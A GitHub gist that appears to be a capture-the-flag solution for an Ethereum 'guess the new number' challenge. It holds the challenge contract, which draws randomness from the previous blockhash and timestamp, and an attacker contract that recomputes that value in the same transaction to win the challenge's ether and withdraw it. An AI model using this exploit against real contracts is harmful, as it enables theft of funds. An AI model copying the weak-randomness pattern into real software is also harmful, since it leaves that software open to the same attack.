Skip to content

Instantly share code, notes, and snippets.

@xd4rker
Created April 16, 2018 17:05
Show Gist options
  • Save xd4rker/cf094fc575e43b363cf192a11a71e940 to your computer and use it in GitHub Desktop.
Save xd4rker/cf094fc575e43b363cf192a11a71e940 to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract GuessTheNewNumber {
address contractAddr = 0x1EcdC138B0607AE8f689B6E21EFD9AbEaBee2ACa;
address owner;
function() public payable {}
function GuessTheNewNumber() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function withdraw() public {
owner.transfer(address(this).balance);
}
function mguess() public {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
GuessTheNewNumberChallenge s = GuessTheNewNumberChallenge(contractAddr);
s.guess.value(1 ether)(answer);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment